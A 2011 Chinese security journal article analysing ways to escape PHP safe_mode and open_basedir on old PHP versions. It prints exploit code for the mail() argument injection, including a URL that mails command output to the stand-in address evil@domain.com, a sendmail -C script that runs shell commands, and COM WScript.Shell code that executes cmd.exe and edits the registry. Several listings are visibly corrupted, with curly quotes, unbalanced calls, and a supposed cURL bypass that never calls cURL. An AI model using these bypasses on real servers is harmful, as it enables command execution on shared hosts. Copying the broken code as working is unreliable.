PHP安全模式漏洞分析

2011-03-19 22:16冯硕李永义
网络安全技术与应用 2011年4期
关键词:脚本漏洞服务器

冯硕 李永义

1唐山广播电视大学教学管理中心 河北 063000 2唐山广播电视大学网络中心 河北 063000

0 前言

PHP的安全模式即safe_mode是为了解决共享服务器安全问题而设置的,而且是惟一具有 PHP_INI_SYSTEM 属性配置项。与magic_quotes_gpc的功能相似,safe_mode的主要功能是提高 PHP服务器的安全及性能,而且提供了比magic_quotes_gpc更为灵活、强大的管理功能。在多数情况下,通过修改WEB服务器层或操作系统层来解决安全问题存在较大难度,因此,虚拟主机服务提供商及大多数服务器管理员等都会使用PHP的Safe mode来增强系统的安全性,其增强内容主要包括四个方面:(1)限制哪些命令可以被执行;(2)限制哪些函数可以被使用;(3)基于脚本所有权和目标文件所有权的文件访问限制设置;(4)禁止文件上载功能等。除了可以增强系统的安全性外,PHP的Safe mode对于服务器的性能提高也有很大作用。

1 PHP系统自身的漏洞

PHP曾经出现过很多漏洞,比较严重的是一些函数漏洞,包括curl_init、exif_read_data等函数。如果不及时修补漏洞,攻击者很容易利用存在漏洞的函数突破PHP的安全限制,例如:

(1)PHP mail()执行指令任意漏洞: 4.0.5至4.2.2版本的PHP都存在PHP mail函数绕过safe_mode限制执行任意命令的漏洞。从4.0.5版本开始,PHP为mail函数增加了第五个参数,由于设计问题,利用这个参数可以突破 safe_mode限制执行命令。其中4.0.5版本突破非常简单,只需用分号分隔开后面的shell命令就可以,如存在一个evil.php文件,内容为:

<?

Mail(“foo@bar,”foo”,”bar”,””,$bar);

?>

执行如下URL:

Foo.com/evil.php? bar=;/usr/bin/id|mail evil@domain.com

对于4.0.6至4.2.2版PHP,要突破safe_mode限制还需要利用sendmail的-C参数,所以系统必须是使用sendmail,因此基于Windows环境的系统不存在这个漏洞。编辑运行如下一段代码,就可以突破safe_mode限制执行任意命令了:

<?

# 下面这两个必须是不存在的,或者它们的属主和本脚本的属主是一样

$script="/tmp/script123";

$cf="/tmp/cf123";

$fd = fopen($cf, "w");

fwrite($fd, "OQ/tmp

Sparse=0

R$*" . chr(9) . "$#local $@ $1 $: $1

Mlocal, P=/bin/sh, A=sh $script");

fclose($fd);

$fd = fopen($script, "w");

fwrite($fd, "rm -f $script $cf; ");

fwrite($fd, $cmd);

fclose($fd);

mail("nobody", "", "", "", "-C$cf");

?>

(2)PHP JPEG文件处理不正确导致远程任意指令执行漏洞:2005年1月发现PHP在处理JPEG文件时存在问题的漏洞,影响的PHP系统范围较大,包括PHP4.3.6-5.0.2多个版本。虽然及时发布了相应的补丁程序,但仍然有很多未更新的系统存在,远程攻击者可以利用这个漏洞,以 WEB进程权限在系统上执行任意指令。导致这一漏洞的问题存在于exif_read_data()函数中,通过发送包含超长的“sectionname”数据的JPEG文件给支持图像上传的PHP应用程序,可以导致发生缓冲区溢出,精心构造提交数据可能以WEB进程权限在系统上执行任意指令。

(3)PHP cURL函数允许脚本绕过“open_basedir”目录限制漏洞:4.0-4.3.9所有版本的PHP系统均存在cURL漏洞,本地攻击者可以利用它绕过 open_basedir目录设置,FraMe公布报告本地用户可以调用cURL(liburl)函数绕过“php.ini”文件中的“open_basedir”限制。可以用如下代码实现突破:

<?php

$dir=”/tmp”;

//Open a known directory,and proceed to read its contents

If (is_dir($dir)){

While(($file=readdir($dh))!==false){

Print “filename:$file:filetype:”filetype($dir.$file).” ”;

Closedir($dh);

}

}

?>

除cURL函数外,还可以利用opendir函数代替系统的“ls”或“dir”命令。

(4)文件属主不受safe_mode限制漏洞:如前所述,当被操作的文件所在的目录的 UID和脚本 UID不一致时,safe_mode将限制其存取操作,但如果被操作的文件所在的目录的UID和脚本UID一致时,即使该文件的UID和脚本的UID不同,也可以访问,因此,PHP脚本属主用户需要详细配置,如果使用root用户作为脚本的属主,那么Safe mode就完全失去意义了。

2 Win32环境下利用COM()函数和WSH/FSO组件执行系统命令

PHP的COM函数是Windows版本的PHP系统特有的函数,是一种允许可重用代码使用标准常规调用同时将执行细节隐藏在API后的技术,如组件存储在某台计算机上,同时可对计算机执行内务处理。它可以被认为是一种带基础根对象的超级远程过程调用(Remote Procedure Call, RPC)机制。COM函数促使执行从接口中分离,同时隐藏了执行的位置、代码语言等细节,因此它广泛应用在Win32环境下的软件开发中。通过COM函数,可以轻易调用WIN32下的WSH/FSO组件来执行系统命令,因此,利用它突破Safe mode的限制就很容易了,实现代码如下:

<?php

//利用COM函数执行系统命令

Function cmdrun($apli)

{

Global $WshShell;

$valors=$WshShell->run($apli);

Return($valors);

}

//操作注册表

Function rtv_registre($aplicacio,$nom)

{

Global $WshShell;

$registre=”HKEY_LOCAL_MACHINESOFTWARE\”.$a plicacio.”\”.$nom;

$valor=$WshShell->RegRead($registre);

Return($valor);

}

Function put_registre($aplicacio,$nom,$valor,$tipus=”REG_SZ”)

{

Global $WshShell;

$registre=”HKEY_LOCAL_MACHINESOFTWARE\”.$a plicacio.”\”.$nom;

$retorn=$WshShell->RegWrite($registre,$valor,$tipus);

Return($retorn);

}

//载入WScript.Shell

$WshShell=new COM(“WScript.Shell”);

$a=rtv_registre(“wom”,”location”);

Echo $a.”<br>”;

//指定执行命令

$b=cmdrun(“cmd.exe /c dir e:\>a.txt”);

Echo $b;

//载入Scripting.FileSysytemObject

$exFSO=new COM(“Scripting.FileSystemObject”) or die(“Could not create Scripting.FileSystemObject”);

$myDir=”./”;

$myFile=”a.txt”;

$exDir=$exFSO->GetFolder($myDir);

$exFile=$exFSO->Getfile($myFile);

Echo $exDir->ShortPath;

Echo $exFile->ShortPath;

?>

3 dl()/Java Integration

使用 dl()可以动态地载入用户编写的扩展模块,而Java扩展模块是实验性的,其行为,包括其函数的名称及其它任何关于此模块的文档可能在没有通知的情况下随 PHP以后的发布而改变,因此,PHP官方网站提醒用户在使用本扩展模块时要自已担负风险。

4 结语

虽然在PHP中的Safe mode并非万能的,但最好还是在服务器上打开安全模式,从而在一定程度上避免一些未知的攻击。但是,对程序员来说,启用Safe mode会有很多限制,特别是与系统相关的一些操作,如文件打开函数、命令执行函数等,使用起来均比较麻烦,而且源代码要做很多调整才能正常使用,因此,是否开启Safe mode模式,应该综合考虑,详细配置安全计划。

[1]kevin.Windows的COM 支持函数库.2001.4.http://www.phpe.net/manual/ref.com.php.

[2]Image图像函数(Image Processing and GD).http://cn2.php.net/gd.

猜你喜欢
脚本漏洞服务器
酒驾
漏洞
安奇奇与小cool 龙(第二回)
通信控制服务器(CCS)维护终端的设计与实现
快乐假期
小编的新年愿望
中国服务器市场份额出炉
得形忘意的服务器标准
三明:“两票制”堵住加价漏洞
漏洞在哪儿